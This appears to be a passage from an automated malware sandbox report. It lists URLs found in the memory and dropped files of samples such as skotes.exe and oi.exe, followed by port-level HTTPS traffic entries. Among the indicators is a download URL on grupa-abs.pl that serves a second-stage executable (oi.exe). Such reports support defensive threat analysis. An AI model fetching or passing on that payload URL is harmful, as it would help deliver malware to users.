Source: skotes.exe, 00000022.00000003.2484474190.0000000000E03000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, oi[1].exe.34.dr, freebl3[1].dll.1.dr, oi.exe.34.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: skotes.exe, 00000022.00000002.2541440931.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000003.2484474190.0000000000E03000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, oi[1].exe.34.dr, freebl3[1].dll.1.dr, oi.exe.34.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: oi.exe, 0000002C.00000003.2501912377.0000000002846000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: oi.exe, 0000002C.00000003.2501912377.0000000002846000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: oi.exe, 0000002C.00000003.2501912377.0000000002846000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: oi.exe, 0000002C.00000003.2501912377.0000000002846000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: oi.exe, 0000002C.00000003.2501912377.0000000002846000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: oi.exe, 0000002C.00000003.2501912377.0000000002846000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: chromecache_470.11.dr	String found in binary or memory: http://www.broofa.com
Source: skotes.exe, 00000022.00000002.2541440931.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000003.2484474190.0000000000E03000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, oi[1].exe.34.dr, freebl3[1].dll.1.dr, oi.exe.34.dr, softokn3[1].dll.1.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000001.00000002.1758567828.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000001.00000002.1751024853.000000001DE07000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1757782885.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000001.00000002.1729321166.0000000001505000.00000004.00000020.00020000.00000000.sdmp, IECFHDBA.1.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_470.11.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: ad03f86d-ad22-4ca0-be69-97b136bd7cbd.tmp.16.dr, 8db9bd33-bf63-48fa-a833-052927bad9eb.tmp.16.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000001.00000002.1753904374.0000000023E3F000.00000004.00000020.00020000.00000000.sdmp, GCGDGHCBGDHJJKECAECB.1.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000001.00000002.1753904374.0000000023E3F000.00000004.00000020.00020000.00000000.sdmp, GCGDGHCBGDHJJKECAECB.1.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://c.msn.com/
Source: file.exe, 00000001.00000002.1729321166.0000000001505000.00000004.00000020.00020000.00000000.sdmp, IECFHDBA.1.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000001.00000002.1729321166.0000000001505000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1539943778.0000000023DEA000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, CGIJJKEH.1.dr, IECFHDBA.1.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000001.00000002.1729321166.0000000001505000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1539943778.0000000023DEA000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, CGIJJKEH.1.dr, IECFHDBA.1.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.15.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.15.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: ad03f86d-ad22-4ca0-be69-97b136bd7cbd.tmp.16.dr, 8db9bd33-bf63-48fa-a833-052927bad9eb.tmp.16.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.15.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: ad03f86d-ad22-4ca0-be69-97b136bd7cbd.tmp.16.dr, 8db9bd33-bf63-48fa-a833-052927bad9eb.tmp.16.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000001.00000002.1753904374.0000000023E3F000.00000004.00000020.00020000.00000000.sdmp, GCGDGHCBGDHJJKECAECB.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000001.00000002.1753904374.0000000023E3F000.00000004.00000020.00020000.00000000.sdmp, GCGDGHCBGDHJJKECAECB.1.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 2cc80dabc69f58b6_0.15.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: skotes.exe, 00000022.00000002.2541440931.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev-marcepan.grupa-abs.pl/
Source: skotes.exe, 00000022.00000002.2541440931.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev-marcepan.grupa-abs.pl/0W
Source: skotes.exe, 00000022.00000002.2541440931.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev-marcepan.grupa-abs.pl/4
Source: skotes.exe, 00000022.00000002.2541440931.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev-marcepan.grupa-abs.pl/TWq
Source: skotes.exe, 00000022.00000002.2541440931.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev-marcepan.grupa-abs.pl/emp
Source: skotes.exe, 00000022.00000003.2484474190.0000000000E10000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000002.2541440931.0000000000D9E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000002.2541440931.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev-marcepan.grupa-abs.pl/oi.exe
Source: skotes.exe, 00000022.00000002.2541440931.0000000000D9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev-marcepan.grupa-abs.pl/oi.exe395d7f3
Source: manifest.json0.15.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000001.00000002.1729321166.0000000001505000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1539943778.0000000023DEA000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, CGIJJKEH.1.dr, IECFHDBA.1.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000001.00000002.1729321166.0000000001505000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1539943778.0000000023DEA000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, CGIJJKEH.1.dr, IECFHDBA.1.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000001.00000002.1729321166.0000000001505000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1539943778.0000000023DEA000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, CGIJJKEH.1.dr, IECFHDBA.1.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log7.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log7.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: HubApps Icons.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: HubApps Icons.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: HubApps Icons.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: HubApps Icons.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 000003.log7.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: HubApps Icons.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: HubApps Icons.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: HubApps Icons.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: HubApps Icons.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: chromecache_470.11.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_470.11.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_470.11.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_470.11.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: GCGDGHCBGDHJJKECAECB.1.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: skotes.exe, 00000022.00000002.2541440931.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marcepdev-marcepan.grupa-abs.pl/oi.exen
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.16.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.16.dr	String found in binary or memory: https://msn.comXIDv10R
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log3.15.dr, 2cc80dabc69f58b6_0.15.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log9.15.dr, 000003.log.15.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log9.15.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.15.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 000003.log9.15.dr, 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13375978884915530.15.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.15.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.15.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: chromecache_470.11.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://srtb.msn.com/
Source: JJDHIDBFBFHIJKFHCGIEGIDAEH.1.dr	String found in binary or memory: https://support.mozilla.org
Source: JJDHIDBFBFHIJKFHCGIEGIDAEH.1.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: JJDHIDBFBFHIJKFHCGIEGIDAEH.1.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.15.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.15.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.15.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: file.exe, 00000001.00000002.1753904374.0000000023E3F000.00000004.00000020.00020000.00000000.sdmp, GCGDGHCBGDHJJKECAECB.1.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: oi.exe, 0000002C.00000003.2501912377.0000000002846000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000001.00000002.1729321166.0000000001505000.00000004.00000020.00020000.00000000.sdmp, IECFHDBA.1.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: oi.exe, 0000002C.00000003.2501912377.0000000002846000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0
Source: oi.exe, 0000002C.00000003.2501912377.0000000002846000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/06
Source: content.js.15.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000001.00000002.1729321166.0000000001505000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1539943778.0000000023DEA000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, CGIJJKEH.1.dr, IECFHDBA.1.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 8db9bd33-bf63-48fa-a833-052927bad9eb.tmp.16.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_470.11.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_470.11.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_470.11.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: file.exe, 00000001.00000002.1753904374.0000000023E3F000.00000004.00000020.00020000.00000000.sdmp, GCGDGHCBGDHJJKECAECB.1.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: JJDHIDBFBFHIJKFHCGIEGIDAEH.1.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000001.00000002.1727423799.0000000000E24000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000001.00000002.1727423799.0000000000E24000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/CBGCBFHJEBGD
Source: JJDHIDBFBFHIJKFHCGIEGIDAEH.1.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: file.exe, 00000001.00000002.1727423799.0000000000E24000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000001.00000002.1727423799.0000000000E24000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000002.1727423799.0000000000F07000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000001.00000002.1727423799.0000000000F07000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: JJDHIDBFBFHIJKFHCGIEGIDAEH.1.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000001.00000002.1727423799.0000000000E24000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000001.00000003.1619043218.0000000024083000.00000004.00000020.00020000.00000000.sdmp, JJDHIDBFBFHIJKFHCGIEGIDAEH.1.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: JJDHIDBFBFHIJKFHCGIEGIDAEH.1.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000001.00000002.1727423799.0000000000E24000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000001.00000003.1619043218.0000000024083000.00000004.00000020.00020000.00000000.sdmp, JJDHIDBFBFHIJKFHCGIEGIDAEH.1.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000001.00000002.1727423799.0000000000E24000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
